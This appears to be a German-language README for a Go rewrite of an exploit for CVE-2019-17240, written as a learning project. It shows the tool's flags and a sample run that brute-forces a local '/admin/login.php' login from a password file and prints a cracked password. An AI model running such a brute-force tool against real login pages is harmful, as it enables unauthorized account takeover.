spyx/cve-2019-17240
Dies ist ein kleines Projekt, bei dem ich dieses Python-Skript in Golang neu geschrieben habe. Der Zweck dieses Projekts war es, Golang zu lernen und zu verstehen, wie dieser Exploit funktioniert.
$ ./brutepass -sdasds
flag provided but not defined: -sdasds
Usage of ./brutepass:
-c int
Threads (default 5) (default 5)
-l string
Hostname eg... http://127.0.0.1/admin/login.php
-p string
Password file
-u string
Enter username
Außer dem Threads-Flag sind alle anderen Flags Pflicht.
$ ./cve-2019-17240 -p pass.txt -u admin -l "http://127.0.0.1/admin/login.php"
Total requests sent: 10
Total requests sent: 20
Total requests sent: 30
Total requests sent: 40
Total requests sent: 50
Total requests sent: 60
Total requests sent: 65
==========Password Cracked=============
Password: Password